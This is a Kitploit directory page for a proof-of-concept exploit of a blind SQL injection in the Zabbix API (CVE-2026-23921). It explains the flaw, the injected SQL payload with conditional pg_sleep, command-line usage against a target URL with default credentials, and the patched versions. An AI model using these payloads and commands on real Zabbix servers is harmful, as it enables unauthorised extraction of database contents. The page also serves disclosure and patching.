Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23921 — Proof-of-concept exploit for CVE-2026-23921, a time-based blind SQL injection in Zabbix API via the sortfield parameter, enabling data extraction from PostgreSQL and MySQL backends. | Kitploit
Tools/GitHubGitHub/qucklecrabik/cve-2026-23921
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

Proof-of-concept exploit for CVE-2026-23921, a time-based blind SQL injection in Zabbix API via the sortfield parameter, enabling data extraction from PostgreSQL and MySQL backends.

View Repository
81 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23921 — Zabbix Time-Based Blind SQL Injection

Affected versions: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: High
Type: Time-based blind SQL injection via sortfield parameter
Auth required: Yes (any API user; Super Admin avoids permission joins)

Vulnerability

Legacy Zabbix API services (host.get, trigger.get, item.get, etc.) accept an undeclared groupBy parameter through zbx_array_merge(). In CApiService::applyQuerySortOptions(), the groupBy array replaces the hardcoded whitelist used to validate . An attacker passes the same SQL payload in both and — validation passes against the attacker-controlled list, and the payload lands in without escaping.

sortfield
groupBy
sortfield
ORDER BY

Attack flow

  1. Attacker sends groupBy: ["hostid,(SELECT IF(...))--"] and sortfield: "hostid,(SELECT IF(...))--" with countOutput: true
  2. zbx_array_merge preserves the undeclared groupBy key
  3. applyQuerySortOptions builds whitelist from groupBy → validation passes
  4. applyQuerySortField concatenates payload into ORDER BY
  5. createSelectQueryFromParts builds final SQL without escaping

Resulting SQL (PostgreSQL)

root@kitploit:~
SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

Usage

root@kitploit:~
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# MySQL backend
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# Existing auth token
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# Use a different API method
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

Fix

Upgrade to Zabbix 7.0.22 / 7.2.15 / 7.4.6 or later.

The patch replaces array_merge($options['groupBy'], ...) with array_intersect($this->sortColumns, $options['groupBy']) so attacker-supplied values never enter the whitelist. Additional is_string() and is_array() type checks were added as defense-in-depth.

Disclaimer

This tool is for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test.

Download Tool